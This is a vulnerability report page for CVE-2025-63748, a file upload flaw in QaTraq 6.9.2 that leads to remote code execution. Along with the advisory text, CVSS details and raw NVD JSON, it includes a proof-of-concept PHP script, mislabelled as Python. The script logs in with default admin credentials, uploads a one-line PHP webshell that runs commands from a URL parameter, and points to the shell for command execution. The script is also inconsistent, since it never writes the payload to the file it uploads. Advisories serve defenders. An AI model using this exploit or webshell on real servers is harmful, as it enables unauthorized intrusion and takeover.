Security Vulnerability Report
中文
CVE-2025-63748 CVSS 8.8 HIGH

CVE-2025-63748

Published: 2025-11-17 16:15:51
Last Modified: 2025-11-26 15:49:43

Description

QaTraq 6.9.2 allows authenticated users to upload arbitrary files via the "Add Attachment" feature in the "Test Script" module. The application fails to restrict file types, enabling the upload of executable PHP files. Once uploaded, the file can be accessed through the "View Attachment" option, which executes the PHP payload on the server.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:testmanagement:qatraq:6.9.2:*:*:*:*:*:*:* - VULNERABLE
QaTraq < 6.9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-63748 PoC - QaTraq 6.9.2 File Upload RCE // Author: Security Researcher // Date: 2025 // Configuration $target_url = "http://target.com/qatraq/index.php"; $login_url = $target_url . "/login"; $upload_url = $target_url . "/test_scripts/add_attachment"; $view_url = $target_url . "/test_scripts/view_attachment"; // Credentials (may use default credentials) $username = "admin"; $password = "admin"; // PHP Webshell payload $php_payload = '<?php system($_GET["cmd"]); ?>'; // Step 1: Login to QaTraq $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "username=$username&password=$password"); curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies.txt"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); // Step 2: Upload malicious PHP file as attachment $post_fields = array( 'script_id' => '1', 'attachment' => new CURLFile('shell.php', 'application/x-php', 'shell.php') ); curl_setopt($ch, CURLOPT_URL, $upload_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies.txt"); $upload_response = curl_exec($ch); // Step 3: Execute command via uploaded shell echo "\n[*] Uploading PHP webshell...\n"; $shell_url = $target_url . "/uploads/shell.php"; echo "[*] Shell uploaded at: $shell_url\n"; echo "[*] Execute commands: $shell_url?cmd=whoami\n"; // Cleanup curl_close($ch); ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63748", "sourceIdentifier": "[email protected]", "published": "2025-11-17T16:15:50.583", "lastModified": "2025-11-26T15:49:43.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "QaTraq 6.9.2 allows authenticated users to upload arbitrary files via the \"Add Attachment\" feature in the \"Test Script\" module. The application fails to restrict file types, enabling the upload of executable PHP files. Once uploaded, the file can be accessed through the \"View Attachment\" option, which executes the PHP payload on the server."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:testmanagement:qatraq:6.9.2:*:*:*:*:*:*:*", "matchCriteriaId": "A3D245F7-826C-4C43-9A60-338A4C59CE75"}]}]}], "references": [{"url": "http://qatraq.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://bitsbyamg.com/blog/post/2025/10/19/qatraq-692-default-creds-and-file-upload-rce", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}